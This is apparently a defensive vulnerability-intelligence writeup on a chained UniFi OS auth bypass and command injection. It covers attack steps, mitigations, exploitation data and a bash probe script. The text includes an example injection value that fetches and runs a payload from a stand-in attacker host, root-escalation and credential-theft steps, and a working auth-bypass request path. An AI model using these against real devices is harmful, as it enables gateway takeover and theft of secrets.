CVE-2026-34910 · Ubiquiti UniFi OS Unauthenticated Command Injection via…

01 · The Real Story

Someone left the master key to every branch office router under the doormat, and burglars found it first

CVE-2026-34910 is an unauthenticated command injection in the package-update service of Ubiquiti UniFi OS. A caller-supplied package name is interpolated verbatim into a sudo /usr/bin/uos runnable latest-versions %v shell command via fmt.Sprintf and executed through sh -c — textbook OS command injection. It chains with CVE-2026-34908 (improper access control: raw vs. normalized URI divergence in the NGINX auth gateway) and CVE-2026-34909 (path traversal via ..%2f encoding) to reach the vulnerable endpoint without any credentials. The service account (ucs-update) holds passwordless sudo to dpkg, chmod, and systemctl, making root escalation trivial — install a malicious .deb and its maintainer scripts run as root. Affected: UniFi OS Server ≤ 5.0.6 (unifi-core ≤ 5.0.126), plus all UDM, UDM-Pro, UDM-SE, UDM-Pro-Max, UDM-Beast, Cloud Gateway, NVR, UNAS, and UniFi Express models on pre-patch firmware. Fixed in UniFi OS Server 5.0.8+ (unifi-core 5.0.153), firmware 5.1.12+ (Express 4.0.14, UNAS 5.1.10, Beast 5.1.11).

Ubiquiti's vendor CVSS 10.0 / CRITICAL rating is accurate and if anything undersells the post-exploitation blast radius. This is not a theoretical chain: it was exploited as a zero-day before the May 21 patch, automated Mirai/Gafgyt botnet campaigns (azsxd v2.0) began mass-scanning within days, CISA added all three CVEs to KEV on June 23, and Censys counted ~100,000 internet-exposed UniFi OS endpoints at disclosure. Post-exploitation, an attacker recovers the HS256 JWT signing key from /data/unifi-core/config/jwt.yaml, enabling forged admin tokens that survive patching and credential rotation. Root on a UniFi gateway also exposes TLS private keys, RADIUS/WiFi PSKs, UniFi Protect surveillance footage, UniFi Access physical-security tokens, and cloud management credentials. The 10.0 is earned.

"Unauthenticated root RCE on your network gateway. Botnet operators are already mass-exploiting it."

02 · The Attack Path

5 steps from start to impact.

STEP 01

Reach the UniFi OS web interface

The attacker identifies a UniFi OS management interface on TCP 11443 (default). Censys data at disclosure showed ~100,000 publicly reachable instances. For internal-only deployments, any host on the LAN segment can reach the interface. No credentials or prior access is required.

Conditions required:

Network path to target on TCP 11443

Where this breaks in practice:

Enterprises that block 11443 at the perimeter and use Ubiquiti's Remote Site Management (cloud tunnel) instead of direct exposure eliminate the unauthenticated-from-internet vector

Detection/coverage: Shodan/Censys dork: ssl:"UniFi OS" port:11443. Nuclei template unifi-os-cve-2026-34910 by Kazgangap in projectdiscovery/nuclei-templates. Bishop Fox detection tool at github.com/BishopFox/CVE-2026-34908-check.

STEP 02

Bypass authentication via NGINX URI confusion

The attacker crafts a request with a raw URI prefixed by /api/auth/validate-sso/ (an authentication-exempt path) combined with encoded path traversal (..%2f) segments. The NGINX gateway exempts the request from authentication using the raw, percent-encoded x-original-uri, but routes it using the normalized, decoded $uri — which resolves to an authenticated internal backend endpoint. This exploits CVE-2026-34908 and CVE-2026-34909 simultaneously.

Conditions required:

Vulnerable UniFi OS version (≤ 5.0.6)
TCP 11443 reachable

Where this breaks in practice:

A properly configured WAF with URL normalization and path-traversal detection rules would catch ..%2f sequences — but UniFi appliances are typically deployed without a reverse-proxy WAF in front

Detection/coverage: WAF/IDS signature: URI containing /api/auth/validate-sso/ combined with ..%2f or %2e%2e encoding. Emerging Threats has published Suricata signatures.

STEP 03

Inject shell metacharacters into package-update handler

With the auth gate bypassed, the attacker sends a POST to the package-update backend with a crafted package name containing shell metacharacters (e.g., $(curl attacker.com/payload|sh)). The handler passes this unsanitized input to fmt.Sprintf and executes it via sh -c as the ucs-update service account. This is CVE-2026-34910 proper. Weaponized tooling: the Mirai loader zok from 185.228.26.16 fetches and executes 14 architecture-specific implant variants.

Conditions required:

Steps 1-2 completed (auth bypass achieved)

Where this breaks in practice:

None — the injection is trivial, single-request, and fully automated in public PoCs

Detection/coverage: Process monitoring: unexpected child processes spawned by the ucs-update service account. Network: outbound connections from UniFi appliance to unusual IPs.

STEP 04

Escalate to root via passwordless sudo

The ucs-update service account has passwordless sudo access to /usr/bin/dpkg, /bin/chmod, /bin/systemctl, and /usr/bin/uos. The attacker uses sudo dpkg -i to install a malicious .deb package whose post-install maintainer script executes as root. Alternatively, direct sudo to chmod or systemctl can be abused for persistence. Full root shell is achieved.

Conditions required:

Command execution as ucs-update (Step 3)

Where this breaks in practice:

None — this is a built-in privilege escalation path, not a misconfiguration

Detection/coverage: Auditd/syslog: sudo invocations by ucs-update for dpkg -i with non-Ubiquiti packages. File-integrity monitoring on /usr/bin/ and /etc/sudoers.d/.

STEP 05

Harvest credentials and establish persistence

With root, the attacker extracts the HS256 JWT signing key from /data/unifi-core/config/jwt.yaml, enabling offline forging of admin session tokens that survive patching and password rotation. TLS private keys, RADIUS secrets, WiFi PSKs, UniFi Protect API tokens, cloud management credentials, and UniFi Access physical-security tokens are also accessible. SSH persistence can be planted in authorized_keys. The compromised gateway becomes a pivot point for lateral movement into the entire network segment it protects.

Conditions required:

Root access (Step 4)

Where this breaks in practice:

None post-root — all secrets are stored in plaintext or reversibly encrypted on disk

Detection/coverage: Post-incident: compare JWT signing key hash against known-good backup; check for unauthorized SSH keys; audit UniFi admin accounts for rogue entries (e.g., 'John Sim' pattern observed ITW).

03 · Compensating Control

CRITICAL 10.0→HIGH 7.5

SEVERITY REDUCED

Block TCP 11443 inbound at the perimeter immediately — The management interface on TCP 11443 is the sole entry point for this chain. If your UniFi appliances are internet-exposed, firewall this port from all external sources within hours. Use Ubiquiti's Remote Site Management (cloud tunnel) for remote administration instead. Per the noisgate mitigation SLA for CRITICAL, deploy within 3 days — but given active mass-exploitation, deploy within hours.

CRITICAL 10.0→IGNORE 0.0

SEVERITY REDUCED

Upgrade to patched firmware (UniFi OS Server 5.0.8+ / firmware 5.1.12+) — Apply the vendor patch via the UniFi Portal or local firmware update. This eliminates all three CVEs in the chain. Per the noisgate remediation SLA for CRITICAL, complete within 90 days — but given KEV listing and active exploitation, prioritize immediate patching. If devices were exposed pre-patch, assume compromise and proceed to key rotation.

CRITICAL 10.0→MEDIUM 4.0

SEVERITY REDUCED

Rotate JWT signing key and all secrets on previously-exposed devices — Root compromise allows extraction of the HS256 JWT signing key from /data/unifi-core/config/jwt.yaml. Forged admin tokens remain valid after patching. Rotate the signing key, regenerate TLS certificates, change RADIUS secrets, rotate WiFi PSKs, revoke cloud management tokens, and audit for rogue admin accounts (pattern: username 'John Sim'). Deploy within 3 days of patching per noisgate mitigation SLA.

CRITICAL 10.0→CRITICAL 9.0

Deploy IDS/IPS signatures for the exploit chain — Load Emerging Threats Suricata signatures and the Nuclei template for CVE-2026-34910. Alert on URI patterns combining /api/auth/validate-sso/ with encoded traversal sequences (..%2f, %2e%2e). This provides detection but not prevention on unpatched devices. Deploy within 3 days.

CRITICAL 10.0→HIGH 7.0

SEVERITY REDUCED

Network-segment UniFi management interfaces onto a dedicated management VLAN — Restrict access to TCP 11443 to a jump host or management workstation VLAN with explicit ACLs. This reduces the attack surface from 'any LAN host' to 'management VLAN only', limiting post-initial-access lateral movement scenarios. This is a long-term architectural control. Deploy within 30 days.

What doesn't work

EDR/endpoint protection — UniFi appliances run embedded Linux; no EDR agent runs on these devices. Endpoint detection on workstations will not see exploitation of the appliance.
WAF in front of UniFi — UniFi appliances are typically accessed directly, not behind a reverse proxy or WAF. Deploying a WAF solely to protect a gateway's management interface is architecturally unusual and creates a dependency loop (the WAF protects the gateway that routes traffic to the WAF).
Credential rotation alone — Changing admin passwords does not invalidate forged JWT tokens. The signing key itself must be rotated at /data/unifi-core/config/jwt.yaml.
UniFi OS auto-update — While UniFi OS can auto-update, many enterprises disable this for change-control reasons. Do not assume devices self-patched.

04 · Intelligence Metadata

The supporting signals.

In-the-Wild Exploitation	Confirmed. Exploited as a zero-day pre-patch. Automated mass-exploitation by Mirai/Gafgyt botnet variant azsxd v2.0 observed within days of disclosure. Rogue admin accounts (username 'John Sim') created on compromised devices. CISA KEV-listed.
KEV Status	Added June 23, 2026 (all three CVEs: 34908, 34909, 34910). CISA remediation deadline: June 26, 2026 (federal agencies).
EPSS	0.45768 (≈46th percentile probability of exploitation in 30 days) — note: this score is stale relative to confirmed mass-exploitation; real-world exploitation rate is far higher than EPSS suggests.
Proof-of-Concept Availability	Multiple public PoCs. Bishop Fox detection tool: BishopFox/CVE-2026-34908-check. Nuclei template by Kazgangap in `projectdiscovery/nuclei-templates`. Community PoC collection: SecureWithUmer/CVE-2026-PoCs. Mirai loader `zok` from 185.228.26.16 is a weaponized exploit.
CVSS Vector	`CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H` — Network-accessible, no authentication, no user interaction, low complexity, scope-changed (compromise of gateway compromises everything behind it). Every sub-score is maxed. This is accurate.
Affected Versions	UniFi OS Server ≤ 5.0.6 (unifi-core ≤ 5.0.126). Hardware: all UDM, UDM-Pro, UDM-SE, UDM-Pro-Max, UDM-Beast, Cloud Gateway, NVR, UNAS, UniFi Express on pre-patch firmware.
Fixed Versions	UniFi OS Server 5.0.8 (unifi-core 5.0.153). Firmware: 5.1.12+ (Dream Machine family, Cloud Gateways, NVRs). Express: 4.0.14+. UNAS: 5.1.10+. Beast: 5.1.11+.
Internet Exposure	Censys: ~100,000 endpoints publicly reachable on TCP 11443 at disclosure, ~50,000 in the United States. Default management port 11443 is frequently exposed.
Disclosure & Researchers	Disclosed May 21, 2026 (Ubiquiti SAB-064). Auth bypass: Duc Anh Nguyen (@heckintosh_). Path traversal: Abdulaziz Almadhi (Catchify Security). Command injection: John Carroll. Analysis: Bishop Fox (published June 5, 2026).
Related CVEs	CVE-2026-34908 (access control bypass, CVSS 10.0), CVE-2026-34909 (path traversal, CVSS 10.0), CVE-2026-33000 (authenticated command injection variant, CVSS 9.1), CVE-2026-34911 (low-priv path traversal read, CVSS 7.7). All fixed in same release.

Sources.

05 · The Call

Final Verdict

= UNCHANGED to CRITICAL (10.0/10)

Why this verdict

Unauthenticated remote RCE to root: The full chain requires zero credentials, zero user interaction, and lands root on the appliance in a single HTTP request. There is no friction gate that narrows the attacker population — anyone with a TCP socket to port 11443 can pop the box.
Massive internet exposure: Censys documented ~100,000 publicly reachable UniFi OS endpoints at disclosure. This is not a theoretical attack surface — it is a measured one, and botnet operators have already automated exploitation against it.
Confirmed zero-day + mass exploitation: Evidence indicates exploitation began before the May 21 patch (zero-day). The Mirai-derivative azsxd v2.0 botnet weaponized the chain within days. CISA KEV-listed all three CVEs on June 23. This is not speculative risk.
Role multiplier: UniFi OS runs on network edge appliances — UDM gateways, Cloud Gateways, NVRs — that are canonically perimeter devices. ≥90% of UDM/Cloud Gateway installs serve as the primary network gateway for the site they protect. Root on the gateway = intercept all traffic, pivot into every VLAN, access UniFi Protect surveillance, UniFi Access physical security, RADIUS secrets, WiFi PSKs, and cloud management tokens. The blast radius is site-wide to fleet-wide (if cloud management credentials are harvested, lateral movement to other Ubiquiti-managed sites is feasible). This is a canonical high-value-role component; the verdict floor is CRITICAL.
Post-exploitation persistence survives patching: The HS256 JWT signing key at /data/unifi-core/config/jwt.yaml allows forged admin tokens that remain valid after firmware upgrade and password rotation. Patching alone is insufficient — compromised devices require key rotation and forensic review. This elevates the blast radius beyond a simple patch-and-forget scenario.
No meaningful friction in the chain: Every step from initial access to root is automated, requires no special tooling beyond a single HTTP request, and exploits design-level flaws (NGINX URI confusion, passwordless sudo) rather than misconfigurations. WAFs are not typically deployed in front of UniFi appliances. EDR does not run on embedded Linux appliances. There are zero compensating controls in a default deployment.

Why not higher?

CVSS 10.0 is the maximum possible score. The vendor rating is already at the ceiling. There is no higher severity to assign.

Why not lower?

Every downgrade factor is absent. The attack is unauthenticated, remote, low-complexity, requires no user interaction, has confirmed mass-exploitation, public PoCs, and targets a canonical network-edge appliance where root access yields site-wide compromise. Friction is near-zero for internet-exposed instances. Even for internal-only deployments, any LAN-adjacent attacker (including malware on a single workstation) can reach the management interface. The only scenario where this drops below CRITICAL would require evidence that <1% of the installed base is reachable — but Censys shows 100K+ exposed, and LAN-accessible instances are equally vulnerable to post-initial-access lateral movement. The floor holds.

06 · Verification

Crowdsourced verification payload.

Run this script from any workstation or auditor host that can reach the UniFi OS management interface on TCP 11443. Usage: bash check_cve_2026_34910.sh <target-ip-or-hostname>. Requires curl and network access to the target. No authentication or elevated privileges needed.

noisgate-verify.sh

BASHREAD-ONLYSAFE

#!/usr/bin/env bash
# check_cve_2026_34910.sh — Detect CVE-2026-34910 (UniFi OS command injection chain)
# Safe detection only — does NOT execute injected commands.
# Based on Bishop Fox's detection methodology.
# Exit codes: 0 = VULNERABLE, 1 = PATCHED, 2 = UNKNOWN

set -euo pipefail

if [ $# -lt 1 ]; then
  echo "Usage: $0 <target-host> [port]"
  echo "Example: $0 192.168.1.1 11443"
  exit 2
fi

TARGET="$1"
PORT="${2:-11443}"
URL="https://${TARGET}:${PORT}"

# Bypass path: uses the auth-exempt prefix with encoded traversal
# to reach the package-update handler without injection payload
BYPASS_PATH="/api/auth/validate-sso/..%2f..%2f..%2fproxy/update/api/firmware/latest-versions"

echo "[*] Testing ${URL} for CVE-2026-34910 (UniFi OS command injection chain)"
echo "[*] Method: Safe endpoint probe (no command injection attempted)"

# Send probe request
HTTP_CODE=$(curl -sk -o /tmp/unifi_probe_response.txt -w '%{http_code}' \
  --connect-timeout 10 --max-time 15 \
  -X GET "${URL}${BYPASS_PATH}" 2>/dev/null) || {
  echo "[!] Connection failed — target unreachable on ${URL}"
  echo "UNKNOWN"
  exit 2
}

RESPONSE_BODY=$(cat /tmp/unifi_probe_response.txt 2>/dev/null || echo "")
rm -f /tmp/unifi_probe_response.txt

echo "[*] HTTP response code: ${HTTP_CODE}"

if [ "${HTTP_CODE}" = "200" ]; then
  # Vulnerable: auth bypass succeeded, handler responded
  echo "[!] VULNERABLE — Auth bypass reached internal endpoint (HTTP 200)"
  echo "[!] The target is running UniFi OS <= 5.0.6 and is exploitable."
  echo "[!] Patch immediately to UniFi OS Server 5.0.8+ / firmware 5.1.12+"
  echo "VULNERABLE"
  exit 0
elif [ "${HTTP_CODE}" = "400" ] || [ "${HTTP_CODE}" = "403" ] || [ "${HTTP_CODE}" = "404" ]; then
  # Patched: auth gateway blocked the traversal or endpoint not routable
  echo "[+] PATCHED — Auth gateway correctly rejected bypass attempt (HTTP ${HTTP_CODE})"
  echo "PATCHED"
  exit 1
elif [ "${HTTP_CODE}" = "401" ] || [ "${HTTP_CODE}" = "302" ]; then
  # Auth required = bypass failed = likely patched
  echo "[+] PATCHED — Target requires authentication (HTTP ${HTTP_CODE})"
  echo "PATCHED"
  exit 1
else
  echo "[?] Inconclusive — unexpected HTTP ${HTTP_CODE}"
  echo "[?] Verify manually or use Bishop Fox tool: github.com/BishopFox/CVE-2026-34908-check"
  echo "UNKNOWN"
  exit 2
fi